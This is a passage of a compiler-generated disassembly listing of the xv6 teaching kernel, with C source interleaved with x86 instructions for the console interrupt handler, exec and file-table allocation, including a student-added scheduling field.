input.buf[input.e++ % INPUT_BUF] = c;
8010085f: 8d 50 01 lea 0x1(%eax),%edx
80100862: 83 e0 7f and $0x7f,%eax
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
80100865: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
80100868: 89 15 c8 ff 10 80 mov %edx,0x8010ffc8
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c>
input.buf[input.e++ % INPUT_BUF] = c;
80100874: 89 f9 mov %edi,%ecx
80100876: 88 88 40 ff 10 80 mov %cl,-0x7fef00c0(%eax)
consputc(c);
8010087c: 89 f8 mov %edi,%eax
8010087e: e8 5d fb ff ff call 801003e0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
80100883: 83 ff 04 cmp $0x4,%edi
80100886: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
8010088b: 74 19 je 801008a6 <consoleintr+0xf6>
8010088d: 83 ff 0a cmp $0xa,%edi
80100890: 74 14 je 801008a6 <consoleintr+0xf6>
80100892: 8b 0d c0 ff 10 80 mov 0x8010ffc0,%ecx
80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx
8010089e: 39 d0 cmp %edx,%eax
801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20>
input.w = input.e;
wakeup(&input.r);
801008a6: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
consputc(c);
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
input.w = input.e;
801008ad: a3 c4 ff 10 80 mov %eax,0x8010ffc4
wakeup(&input.r);
801008b2: e8 99 37 00 00 call 80104050 <wakeup>
801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20>
801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
801008c0: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801008c5: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801008cb: 75 2b jne 801008f8 <consoleintr+0x148>
801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20>
801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801008d8: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
801008dd: b8 00 01 00 00 mov $0x100,%eax
801008e2: e8 f9 fa ff ff call 801003e0 <consputc>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
801008e7: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801008ec: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008f8: 83 e8 01 sub $0x1,%eax
801008fb: 89 c2 mov %eax,%edx
801008fd: 83 e2 7f and $0x7f,%edx
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100900: 80 ba 40 ff 10 80 0a cmpb $0xa,-0x7fef00c0(%edx)
80100907: 75 cf jne 801008d8 <consoleintr+0x128>
80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010090e: 66 90 xchg %ax,%ax
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
80100910: be 01 00 00 00 mov $0x1,%esi
80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
}
}
80100920: 83 c4 1c add $0x1c,%esp
80100923: 5b pop %ebx
80100924: 5e pop %esi
80100925: 5f pop %edi
80100926: 5d pop %ebp
break;
}
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
80100927: e9 14 38 00 00 jmp 80104140 <procdump>
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010092c: c6 80 40 ff 10 80 0a movb $0xa,-0x7fef00c0(%eax)
consputc(c);
80100933: b8 0a 00 00 00 mov $0xa,%eax
80100938: e8 a3 fa ff ff call 801003e0 <consputc>
8010093d: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6>
80100947: 89 f6 mov %esi,%esi
80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100950 <consoleinit>:
return n;
}
void
consoleinit(void)
{
80100950: 55 push %ebp
80100951: 89 e5 mov %esp,%ebp
80100953: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100956: c7 44 24 04 10 70 10 movl $0x80107010,0x4(%esp)
8010095d: 80
8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100965: e8 b6 39 00 00 call 80104320 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
picenable(IRQ_KBD);
8010096a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
void
consoleinit(void)
{
initlock(&cons.lock, "console");
devsw[CONSOLE].write = consolewrite;
80100971: c7 05 8c 09 11 80 f0 movl $0x801005f0,0x8011098c
80100978: 05 10 80
devsw[CONSOLE].read = consoleread;
8010097b: c7 05 88 09 11 80 70 movl $0x80100270,0x80110988
80100982: 02 10 80
cons.locking = 1;
80100985: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
8010098c: 00 00 00
picenable(IRQ_KBD);
8010098f: e8 6c 28 00 00 call 80103200 <picenable>
ioapicenable(IRQ_KBD, 0);
80100994: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010099b: 00
8010099c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801009a3: e8 08 19 00 00 call 801022b0 <ioapicenable>
}
801009a8: c9 leave
801009a9: c3 ret
801009aa: 66 90 xchg %ax,%ax
801009ac: 66 90 xchg %ax,%ax
801009ae: 66 90 xchg %ax,%ax
801009b0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009b0: 55 push %ebp
801009b1: 89 e5 mov %esp,%ebp
801009b3: 57 push %edi
801009b4: 56 push %esi
801009b5: 53 push %ebx
801009b6: 81 ec 1c 01 00 00 sub $0x11c,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
801009bc: e8 cf 21 00 00 call 80102b90 <begin_op>
if((ip = namei(path)) == 0){
801009c1: 8b 45 08 mov 0x8(%ebp),%eax
801009c4: 89 04 24 mov %eax,(%esp)
801009c7: e8 24 15 00 00 call 80101ef0 <namei>
801009cc: 85 c0 test %eax,%eax
801009ce: 89 c3 mov %eax,%ebx
801009d0: 74 37 je 80100a09 <exec+0x59>
end_op();
return -1;
}
ilock(ip);
801009d2: 89 04 24 mov %eax,(%esp)
801009d5: e8 e6 0c 00 00 call 801016c0 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
801009da: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
801009e0: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
801009e7: 00
801009e8: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801009ef: 00
801009f0: 89 44 24 04 mov %eax,0x4(%esp)
801009f4: 89 1c 24 mov %ebx,(%esp)
801009f7: e8 54 0f 00 00 call 80101950 <readi>
801009fc: 83 f8 34 cmp $0x34,%eax
801009ff: 74 1f je 80100a20 <exec+0x70>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a01: 89 1c 24 mov %ebx,(%esp)
80100a04: e8 f7 0e 00 00 call 80101900 <iunlockput>
end_op();
80100a09: e8 f2 21 00 00 call 80102c00 <end_op>
}
return -1;
80100a0e: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a13: 81 c4 1c 01 00 00 add $0x11c,%esp
80100a19: 5b pop %ebx
80100a1a: 5e pop %esi
80100a1b: 5f pop %edi
80100a1c: 5d pop %ebp
80100a1d: c3 ret
80100a1e: 66 90 xchg %ax,%ax
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
goto bad;
if(elf.magic != ELF_MAGIC)
80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a27: 45 4c 46
80100a2a: 75 d5 jne 80100a01 <exec+0x51>
goto bad;
if((pgdir = setupkvm()) == 0)
80100a2c: e8 1f 5f 00 00 call 80106950 <setupkvm>
80100a31: 85 c0 test %eax,%eax
80100a33: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
80100a39: 74 c6 je 80100a01 <exec+0x51>
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100a42: 00
80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
80100a49: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp)
80100a50: 00 00 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x183>
80100a59: 31 ff xor %edi,%edi
80100a5b: eb 18 jmp 80100a75 <exec+0xc5>
80100a5d: 8d 76 00 lea 0x0(%esi),%esi
80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100a67: 83 c7 01 add $0x1,%edi
80100a6a: 83 c6 20 add $0x20,%esi
80100a6d: 39 f8 cmp %edi,%eax
80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x183>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100a82: 00
80100a83: 89 74 24 08 mov %esi,0x8(%esp)
80100a87: 89 44 24 04 mov %eax,0x4(%esp)
80100a8b: 89 1c 24 mov %ebx,(%esp)
80100a8e: e8 bd 0e 00 00 call 80101950 <readi>
80100a93: 83 f8 20 cmp $0x20,%eax
80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x170>
goto bad;
if(ph.type != ELF_PROG_LOAD)
80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100aa3: 75 bb jne 80100a60 <exec+0xb0>
continue;
if(ph.memsz < ph.filesz)
80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100ab1: 72 6d jb 80100b20 <exec+0x170>
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100ab9: 72 65 jb 80100b20 <exec+0x170>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100abb: 89 44 24 08 mov %eax,0x8(%esp)
80100abf: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100ac5: 89 44 24 04 mov %eax,0x4(%esp)
80100ac9: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100acf: 89 04 24 mov %eax,(%esp)
80100ad2: e8 49 61 00 00 call 80106c20 <allocuvm>
80100ad7: 85 c0 test %eax,%eax
80100ad9: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100adf: 74 3f je 80100b20 <exec+0x170>
goto bad;
if(ph.vaddr % PGSIZE != 0)
80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100ae7: a9 ff 0f 00 00 test $0xfff,%eax
80100aec: 75 32 jne 80100b20 <exec+0x170>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx
80100af4: 89 44 24 04 mov %eax,0x4(%esp)
80100af8: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100afe: 89 5c 24 08 mov %ebx,0x8(%esp)
80100b02: 89 54 24 10 mov %edx,0x10(%esp)
80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx
80100b0c: 89 04 24 mov %eax,(%esp)
80100b0f: 89 54 24 0c mov %edx,0xc(%esp)
80100b13: e8 48 60 00 00 call 80106b60 <loaduvm>
80100b18: 85 c0 test %eax,%eax
80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xb0>
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
80100b20: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b26: 89 04 24 mov %eax,(%esp)
80100b29: e8 02 62 00 00 call 80106d30 <freevm>
80100b2e: e9 ce fe ff ff jmp 80100a01 <exec+0x51>
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100b33: 89 1c 24 mov %ebx,(%esp)
80100b36: e8 c5 0d 00 00 call 80101900 <iunlockput>
80100b3b: 90 nop
80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80100b40: e8 bb 20 00 00 call 80102c00 <end_op>
ip = 0;
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b4b: 05 ff 0f 00 00 add $0xfff,%eax
80100b50: 25 00 f0 ff ff and $0xfffff000,%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100b55: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100b5b: 89 44 24 04 mov %eax,0x4(%esp)
80100b5f: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b65: 89 54 24 08 mov %edx,0x8(%esp)
80100b69: 89 04 24 mov %eax,(%esp)
80100b6c: e8 af 60 00 00 call 80106c20 <allocuvm>
80100b71: 85 c0 test %eax,%eax
80100b73: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100b79: 75 18 jne 80100b93 <exec+0x1e3>
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
80100b7b: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b81: 89 04 24 mov %eax,(%esp)
80100b84: e8 a7 61 00 00 call 80106d30 <freevm>
if(ip){
iunlockput(ip);
end_op();
}
return -1;
80100b89: b8 ff ff ff ff mov $0xffffffff,%eax
80100b8e: e9 80 fe ff ff jmp 80100a13 <exec+0x63>
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100b93: 8b 9d ec fe ff ff mov -0x114(%ebp),%ebx
80100b99: 89 d8 mov %ebx,%eax
80100b9b: 2d 00 20 00 00 sub $0x2000,%eax
80100ba0: 89 44 24 04 mov %eax,0x4(%esp)
80100ba4: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100baa: 89 04 24 mov %eax,(%esp)
80100bad: e8 fe 61 00 00 call 80106db0 <clearpteu>
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100bb2: 8b 45 0c mov 0xc(%ebp),%eax
80100bb5: 8b 00 mov (%eax),%eax
80100bb7: 85 c0 test %eax,%eax
80100bb9: 0f 84 70 01 00 00 je 80100d2f <exec+0x37f>
80100bbf: 8b 7d 0c mov 0xc(%ebp),%edi
80100bc2: 31 f6 xor %esi,%esi
80100bc4: 8b 4d 0c mov 0xc(%ebp),%ecx
80100bc7: 89 f2 mov %esi,%edx
80100bc9: 89 fe mov %edi,%esi
80100bcb: 89 d7 mov %edx,%edi
80100bcd: 83 c1 04 add $0x4,%ecx
80100bd0: eb 0e jmp 80100be0 <exec+0x230>
80100bd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100bd8: 83 c1 04 add $0x4,%ecx
if(argc >= MAXARG)
80100bdb: 83 ff 20 cmp $0x20,%edi
80100bde: 74 9b je 80100b7b <exec+0x1cb>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100be0: 89 04 24 mov %eax,(%esp)
80100be3: 89 8d f0 fe ff ff mov %ecx,-0x110(%ebp)
80100be9: e8 72 3b 00 00 call 80104760 <strlen>
80100bee: f7 d0 not %eax
80100bf0: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bf2: 8b 06 mov (%esi),%eax
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bf4: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bf7: 89 04 24 mov %eax,(%esp)
80100bfa: e8 61 3b 00 00 call 80104760 <strlen>
80100bff: 83 c0 01 add $0x1,%eax
80100c02: 89 44 24 0c mov %eax,0xc(%esp)
80100c06: 8b 06 mov (%esi),%eax
80100c08: 89 5c 24 04 mov %ebx,0x4(%esp)
80100c0c: 89 44 24 08 mov %eax,0x8(%esp)
80100c10: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c16: 89 04 24 mov %eax,(%esp)
80100c19: e8 f2 62 00 00 call 80106f10 <copyout>
80100c1e: 85 c0 test %eax,%eax
80100c20: 0f 88 55 ff ff ff js 80100b7b <exec+0x1cb>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c26: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100c2c: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100c32: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c39: 83 c7 01 add $0x1,%edi
80100c3c: 8b 01 mov (%ecx),%eax
80100c3e: 89 ce mov %ecx,%esi
80100c40: 85 c0 test %eax,%eax
80100c42: 75 94 jne 80100bd8 <exec+0x228>
80100c44: 89 fe mov %edi,%esi
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c46: 8d 04 b5 04 00 00 00 lea 0x4(,%esi,4),%eax
80100c4d: 89 d9 mov %ebx,%ecx
80100c4f: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100c51: 83 c0 0c add $0xc,%eax
80100c54: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c56: 89 44 24 0c mov %eax,0xc(%esp)
80100c5a: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c60: 89 54 24 08 mov %edx,0x8(%esp)
80100c64: 89 5c 24 04 mov %ebx,0x4(%esp)
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100c68: c7 84 b5 64 ff ff ff movl $0x0,-0x9c(%ebp,%esi,4)
80100c6f: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c73: 89 04 24 mov %eax,(%esp)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
80100c76: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100c7d: ff ff ff
ustack[1] = argc;
80100c80: 89 b5 5c ff ff ff mov %esi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c86: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c8c: e8 7f 62 00 00 call 80106f10 <copyout>
80100c91: 85 c0 test %eax,%eax
80100c93: 0f 88 e2 fe ff ff js 80100b7b <exec+0x1cb>
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100c99: 8b 45 08 mov 0x8(%ebp),%eax
80100c9c: 0f b6 10 movzbl (%eax),%edx
80100c9f: 84 d2 test %dl,%dl
80100ca1: 74 19 je 80100cbc <exec+0x30c>
80100ca3: 8b 4d 08 mov 0x8(%ebp),%ecx
80100ca6: 83 c0 01 add $0x1,%eax
if(*s == '/')
last = s+1;
80100ca9: 80 fa 2f cmp $0x2f,%dl
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cac: 0f b6 10 movzbl (%eax),%edx
if(*s == '/')
last = s+1;
80100caf: 0f 44 c8 cmove %eax,%ecx
80100cb2: 83 c0 01 add $0x1,%eax
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cb5: 84 d2 test %dl,%dl
80100cb7: 75 f0 jne 80100ca9 <exec+0x2f9>
80100cb9: 89 4d 08 mov %ecx,0x8(%ebp)
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100cbc: 8b 45 08 mov 0x8(%ebp),%eax
80100cbf: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100cc6: 00
80100cc7: 89 44 24 04 mov %eax,0x4(%esp)
80100ccb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100cd1: 83 c0 6c add $0x6c,%eax
80100cd4: 89 04 24 mov %eax,(%esp)
80100cd7: e8 44 3a 00 00 call 80104720 <safestrcpy>
// Commit to the user image.
oldpgdir = proc->pgdir;
80100cdc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
proc->pgdir = pgdir;
80100ce2: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
// Commit to the user image.
oldpgdir = proc->pgdir;
80100ce8: 8b 70 04 mov 0x4(%eax),%esi
proc->pgdir = pgdir;
80100ceb: 89 48 04 mov %ecx,0x4(%eax)
proc->sz = sz;
80100cee: 8b 8d ec fe ff ff mov -0x114(%ebp),%ecx
80100cf4: 89 08 mov %ecx,(%eax)
proc->tf->eip = elf.entry; // main
80100cf6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100cfc: 8b 8d 3c ff ff ff mov -0xc4(%ebp),%ecx
80100d02: 8b 50 18 mov 0x18(%eax),%edx
80100d05: 89 4a 38 mov %ecx,0x38(%edx)
proc->tf->esp = sp;
80100d08: 8b 50 18 mov 0x18(%eax),%edx
80100d0b: 89 5a 44 mov %ebx,0x44(%edx)
proc -> length_of_job =2 ; ///sanidhya has added it
80100d0e: c7 80 8c 00 00 00 02 movl $0x2,0x8c(%eax)
80100d15: 00 00 00
switchuvm(proc);
80100d18: 89 04 24 mov %eax,(%esp)
80100d1b: e8 f0 5c 00 00 call 80106a10 <switchuvm>
freevm(oldpgdir);
80100d20: 89 34 24 mov %esi,(%esp)
80100d23: e8 08 60 00 00 call 80106d30 <freevm>
return 0;
80100d28: 31 c0 xor %eax,%eax
80100d2a: e9 e4 fc ff ff jmp 80100a13 <exec+0x63>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d2f: 8b 9d ec fe ff ff mov -0x114(%ebp),%ebx
80100d35: 31 f6 xor %esi,%esi
80100d37: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100d3d: e9 04 ff ff ff jmp 80100c46 <exec+0x296>
80100d42: 66 90 xchg %ax,%ax
80100d44: 66 90 xchg %ax,%ax
80100d46: 66 90 xchg %ax,%ax
80100d48: 66 90 xchg %ax,%ax
80100d4a: 66 90 xchg %ax,%ax
80100d4c: 66 90 xchg %ax,%ax
80100d4e: 66 90 xchg %ax,%ax
80100d50 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d50: 55 push %ebp
80100d51: 89 e5 mov %esp,%ebp
80100d53: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100d56: c7 44 24 04 29 70 10 movl $0x80107029,0x4(%esp)
80100d5d: 80
80100d5e: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100d65: e8 b6 35 00 00 call 80104320 <initlock>
}
80100d6a: c9 leave
80100d6b: c3 ret
80100d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100d70 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d70: 55 push %ebp
80100d71: 89 e5 mov %esp,%ebp
80100d73: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d74: bb 14 00 11 80 mov $0x80110014,%ebx
}
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d79: 83 ec 14 sub $0x14,%esp
struct file *f;
acquire(&ftable.lock);
80100d7c: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100d83: e8 18 36 00 00 call 801043a0 <acquire>
80100d88: eb 11 jmp 80100d9b <filealloc+0x2b>
80100d8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d90: 83 c3 18 add $0x18,%ebx
80100d93: 81 fb 74 09 11 80 cmp $0x80110974,%ebx
80100d99: 74 25 je 80100dc0 <filealloc+0x50>
if(f->ref == 0){
80100d9b: 8b 43 04 mov 0x4(%ebx),%eax
80100d9e: 85 c0 test %eax,%eax
80100da0: 75 ee jne 80100d90 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100da2: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
f->ref = 1;
80100da9: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100db0: e8 1b 37 00 00 call 801044d0 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100db5: 83 c4 14 add $0x14,%esp
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
f->ref = 1;
release(&ftable.lock);
return f;
80100db8: 89 d8 mov %ebx,%eax
}
}
release(&ftable.lock);
return 0;
}
80100dba: 5b pop %ebx
80100dbb: 5d pop %ebp
80100dbc: c3 ret
80100dbd: 8d 76 00 lea 0x0(%esi),%esi
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100dc0: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100dc7: e8 04 37 00 00 call 801044d0 <release>
return 0;
}
80100dcc: 83 c4 14 add $0x14,%esp
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
return 0;
80100dcf: 31 c0 xor %eax,%eax
}
80100dd1: 5b pop %ebx
80100dd2: 5d pop %ebp
80100dd3: c3 ret
80100dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100de0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100de0: 55 push %ebp
80100de1: 89 e5 mov %esp,%ebp
80100de3: 53 push %ebx
80100de4: 83 ec 14 sub $0x14,%esp
80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dea: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100df1: e8 aa 35 00 00 call 801043a0 <acquire>
if(f->ref < 1)
80100df6: 8b 43 04 mov 0x4(%ebx),%eax
